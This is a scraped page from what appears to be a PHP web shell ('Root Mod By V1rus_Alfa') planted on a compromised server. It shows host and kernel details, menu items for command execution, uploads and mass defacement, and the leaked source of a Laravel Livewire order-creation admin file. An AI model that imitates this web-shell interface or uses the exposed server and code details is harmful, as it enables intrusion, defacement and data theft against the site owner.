���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
app
/
Livewire
/
Admin
/
Pages
/
Order
/
Viewing: Add.php
<?php namespace App\Livewire\Admin\Pages\Order; use Livewire\Component; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Validator; use function App\Helpers\DateNow; use function App\Helpers\saveUser; use App\Helpers\HelperClass\GeneralUse; use Illuminate\Http\Request; use App\Models\User; use App\Models\Order; use App\Models\OrderLog; use App\Models\UserServices; use App\Models\CategoryOrder; use App\Models\OrderStatus; use Masmerise\Toaster\Toaster; use App\Models\Platform; use Carbon\Carbon; class Add extends Component { protected $rules = [ 'category_id' => 'required|notIn:0', 'employe_id' => 'required|notIn:0', 'user_id' => 'required|notIn:undefined', ]; protected $rulesA = [ 'service_id' => 'required', ]; protected $listeners = ['set_data' => 'setData']; public $type='chat'; public $number=100; public $services_id; public $customer_id; public $user_id; public function updatedType($value) { $this->dispatch('runAgain'); } public function mount(Request $request){ if(Auth::user()->roll != 'ADMIN'){ $this->services_id=saveUser(null,null,'services_id_return'); $last=Order::where('services_id',$this->services_id)->latest()->first(); if($last){ $this->number=$last->number + 1 ; } } if($request->customer_id){ $this->customer_id=$request->customer_id; } if($request->user_id){ $this->user_id=$request->user_id; } } public function setData($val=null,$name=null){ if($val && $name){ if($name == 'service_id'){ $this->services_id=$val; } $this->set_number(); } } public function set_number(){ if($this->services_id){ $last=Order::where('services_id',$this->services_id)->latest()->first(); if($last){ $this->number=$last->number + 1 ; }else{ $this->number=100; } } } public function submit($formData) { //validate Validator::make($formData,$this->rules)->validate(); $services_id=$this->services_id; if(Auth::user()->roll == 'ADMIN' || Auth::user()->roll == 'secretary'){ Validator::make($formData,$this->rulesA)->validate(); $services_id=$formData['service_id']; } saveUser($formData['user_id'],$services_id); $customer_id=null; $customer=UserServices::where('services_id',$services_id)->where('user_id',$formData['user_id'])->first(); if($customer){ $customer_id=$customer->id; } $status_services_row=OrderStatus::orderby('order_sort','asc')->where('order_dashboard','true')->first(); $status_em_services_row=OrderStatus::orderby('performance_sort','asc')->where('performance_dashboard','true')->first(); $platform_row=Platform::first(); $order_description=null;if(isset($formData['order_description'])){$order_description=$formData['order_description'];}; $time_estimate=null;if(isset($formData['datevuetime_estimate'])){$time_estimate=$formData['datevuetime_estimate'];}; $material_name=null;if(isset($formData['material_name'])){$material_name=$formData['material_name'];}; $material_code=null;if(isset($formData['material_code'])){$material_code=$formData['material_code'];}; $price=0;if(isset($formData['price']) && $formData['price'] != ""){$price=str_replace( ',', '', $formData['price'] );}; $employe_id=null;if(isset($formData['employe_id']) && $formData['employe_id'] != '0'){$employe_id=$formData['employe_id'];}elseif($formData['employe_id'] == '0'){$employe_id=Null;}; $employe_editor_id=null;if(isset($formData['employe_editor_id']) && $formData['employe_editor_id'] != '0'){$employe_editor_id=$formData['employe_editor_id'];}elseif($formData['employe_editor_id'] == '0'){$employe_editor_id=Null;}; $status='send';if(isset($formData['status']) && $formData['status'] != '0'){$status=$formData['status'];} $platform=$platform_row->title;if(isset($formData['platform']) && $formData['platform'] != '0'){$platform=$formData['platform'];} ; $status_em_services=$status_em_services_row->title;if(isset($formData['status_em_services']) && $formData['status_em_services'] != '0'){$status_em_services=$formData['status_em_services'];} ; $status_services=$status_services_row->title;if(isset($formData['status_services']) && $formData['status_services'] != '0'){$status_services=$formData['status_services'];} ; $number=$this->number; if($formData['number']){ $number=$formData['number']; } $check=Order::where('number',$number)->first(); if($check){ Toaster::error(' شماره سفارش تکراری می باشد '); return ; } $order=Order::create([ 'number'=>$number, 'order_description'=>$order_description, 'time_estimate'=>$time_estimate, 'services_id'=>$services_id, 'name'=>$formData['name'], 'material_name'=>$material_name, 'material_code'=>$material_code, 'price'=>(int) $price, 'status'=>$status, 'type'=>'chat', 'platform'=>$platform, 'status_em_services'=>$status_em_services, 'status_services'=>$status_services, 'user_id'=>$formData['user_id'], 'category_id'=>$formData['category_id'], 'employe_id'=>$employe_id, 'employe_editor_id'=>$employe_editor_id, 'customer_id'=>$customer_id, ]); GeneralUse::make_order_status($order->id,$status_services,$status_em_services); //response session()->flash('successRequest', 'عملیات با موفقیت انجام گردید'); return redirect()->to('/admin/dashboard/order/'.$order->id); } public function render() { if(Auth::user()->roll == 'ADMIN' || Auth::user()->roll == 'secretary'){ $user_url='/api/v1/admin/get-users?mobile='.Auth::user()->id; $service_url='/api/v1/admin/get-services?mobile=0'; $users=UserServices:: limit(10)->latest() ->get(); }else{ $user_url='/api/v1/admin/get-users?mobile='.Auth::user()->mobile; $service_url=''; $users=UserServices::where('services_id',$this->services_id) ->limit(10)->latest()->get(); } $services=User::where('roll','services') ->limit(10) ->get(); $categories=CategoryOrder::orderBy('id','desc')->get(); $platforms=Platform::orderBy('id','desc')->get(); $status=OrderStatus::orderby('order_sort','asc')->where('order_dashboard','true')->get(); $status_service=OrderStatus::orderby('performance_sort','asc')->where('performance_dashboard','true')->get(); $employes=User:: where('parent',$this->services_id) ->where('roll','manager_designer')->get(); $data=['status_service'=>$status_service,'status'=>$status,'platforms'=>$platforms,'categories'=>$categories,'employes'=>$employes,'user_url'=>$user_url,'service_url'=>$service_url,'users'=>$users,'services'=>$services ]; return view('livewire.admin.pages.order.add', $data)->layoutData(['page_name' => 'show_order']); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa